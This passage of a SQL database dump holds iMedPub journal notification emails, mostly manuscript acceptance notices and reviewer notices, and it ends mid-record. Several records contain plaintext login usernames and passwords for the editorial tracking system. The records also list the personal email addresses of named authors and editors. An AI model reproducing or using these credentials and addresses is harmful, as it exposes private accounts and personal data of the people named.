5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','marketing05@alltests.com.cn',11859,'2021-12-10',48),(4011,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11786</b><br />\r\n            <br />\r\n            Article Title: <b>EFFECTIVENESS AND SAFETY OF WEEKLY SUBCUTANEOUS SEMAGLUTIDE FOR WEIGHT MANAGEMENT IN OBESE ADOLESCENTS: AN OBSERVATIONAL STUDY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Santiago Tofe</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-11786</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',11786,'2021-12-13',85),(4012,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11859</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of a Rapid in vitro Diagnostic Test Device for Detection of SARS-CoV-2 Antigen in Oral Fluid</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Lu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','marketing05@alltests.com.cn',11859,'2021-12-13',48),(4014,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11852</b><br />\r\n            <br />\r\n            Article Title: <b>Anti-microbial effect of filtered 222nm excimer lamps in a hospital waiting area</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Christian Holm</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-11852</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',11852,'2021-12-14',988),(4015,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11852</b><br />\r\n            <br />\r\n            Article Title: <b>Anti-microbial effect of filtered 222nm excimer lamps in a hospital waiting area</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Holm</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','holm@biomed.au.dk',11852,'2021-12-14',988),(4016,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11808</b><br />\r\n            <br />\r\n            Article Title: <b>TITLE OF THE PAPER: A STUDY OF CORRELATION BETWEEN SERUM TRIGLYCERIDES AND SEVERITY OF CEREBROVASCULAR ACCIDENT</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>V.S.R.RAGHU</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','raghutanuku@gmail.com',11808,'2021-12-14',85),(4019,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11786</b><br />\r\n            <br />\r\n            Article Title: <b>EFFECTIVENESS AND SAFETY OF WEEKLY SUBCUTANEOUS SEMAGLUTIDE FOR WEIGHT MANAGEMENT IN OBESE ADOLESCENTS: AN OBSERVATIONAL STUDY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tofe</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','satope2002@yahoo.com',11786,'2021-12-15',85),(4022,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-10527</b><br />\r\n            <br />\r\n            Article Title: <b>RETROSPECTIVE COHORT STUDY TO ASSES FEASIBILITY AND TO EVALUATE SHORTERM OUTCOMES OF LAPAROSCOPIC SURGERY IN RECTAL CANCER</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SANKRANTHI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Yeshwa@bu.edu',10527,'2021-12-16',984),(4032,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11949</b><br />\r\n            <br />\r\n            Article Title: <b>Complicated intramuscular Tuberculous cold abscess</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Omer Makawi</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-11949</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',11949,'2021-12-22',85),(4033,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11962</b><br />\r\n            <br />\r\n            Article Title: <b>Computed tomography based analysis of the normal measurements of the subglottic area among Saudi neonates and infants </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>baljoon</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tebra-baljoon@hotmail.com',11962,'2021-12-22',48),(4034,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11949</b><br />\r\n            <br />\r\n            Article Title: <b>Complicated intramuscular Tuberculous cold abscess</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Makawi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','omersalah3475@gmail.com',11949,'2021-12-23',85),(4035,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11550</b><br />\r\n            <br />\r\n            Article Title: <b>The Importance of Neopterin in COVID-19: the prognostic value and relation with the disease severity</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Kevser K&Atilde;&frac14;bra K&Auml;&plusmn;rbo&Auml;&Yuml;a</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-11550</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> isik<br />\r\n            <b>Password:</b> 1GqmD6Ny<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kararda@yahoo.com',11550,'2021-12-23',85),(4036,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11550</b><br />\r\n            <br />\r\n            Article Title: <b>The Importance of Neopterin in COVID-19: the prognostic value and relation with the disease severity</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>K&Auml;&plusmn;rbo&Auml;&Yuml;a</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kubra.kirboga@yahoo.com',11550,'2021-12-23',85),(4037,'<p>Ref.:  Ms. No. : <b>ipaom-21-11320</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Knowledge and Precautionary Measures of Healthcare Associated Infection among Patients in UNIOSUN Teaching Hospital, Osogbo. </b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Aremu</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-11320</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>fiyinfoluwa</b><br />\r\npassword: <b>NqG8cqR6</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','fiyinfoluwaa559@gmail.com',11320,'2021-12-23',85),(4038,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11855</b><br />\r\n            <br />\r\n            Article Title: <b>   Covid &acirc;&euro;&ldquo; 19: An emerging disease of 21st century</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Shweta Bhodiwal</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-11855</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',11855,'2021-12-24',85),(4039,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11855</b><br />\r\n            <br />\r\n            Article Title: <b>   Covid &acirc;&euro;&ldquo; 19: An emerging disease of 21st century</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bhodiwal</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shwetabhodiwal.20@gmail.com',11855,'2021-12-24',85),(4040,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11619</b><br />\r\n            <br />\r\n            Article Title: <b>NEURALINK TECHNOLOGY : THE FUTURE OF NEURAL ENGINEERING</b><br />\r\n            <br />\r\n            Corresponding Author: <b>ABHINN SUTHAR</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-11619</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',11619,'2021-12-28',1216),(4041,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11619</b><br />\r\n            <br />\r\n            Article Title: <b>NEURALINK TECHNOLOGY : THE FUTURE OF NEURAL ENGINEERING</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SUTHAR</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ABHINNSUTHAR2002@GMAIL.COM',11619,'2021-12-28',1216),(4043,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11693</b><br />\r\n            <br />\r\n            Article Title: <b>ASSESSMENT OF PRENATAL IRON+ FOLIC ACID SUPPLEMENTATION AND UTILIZATION AMONG  PREGNANT  WOMEN AT ANC CLINIC IN KIRKOSE SUBCITY HEALTH CENTER ADDIS ABABA, ETHIOPIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Jenberu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a 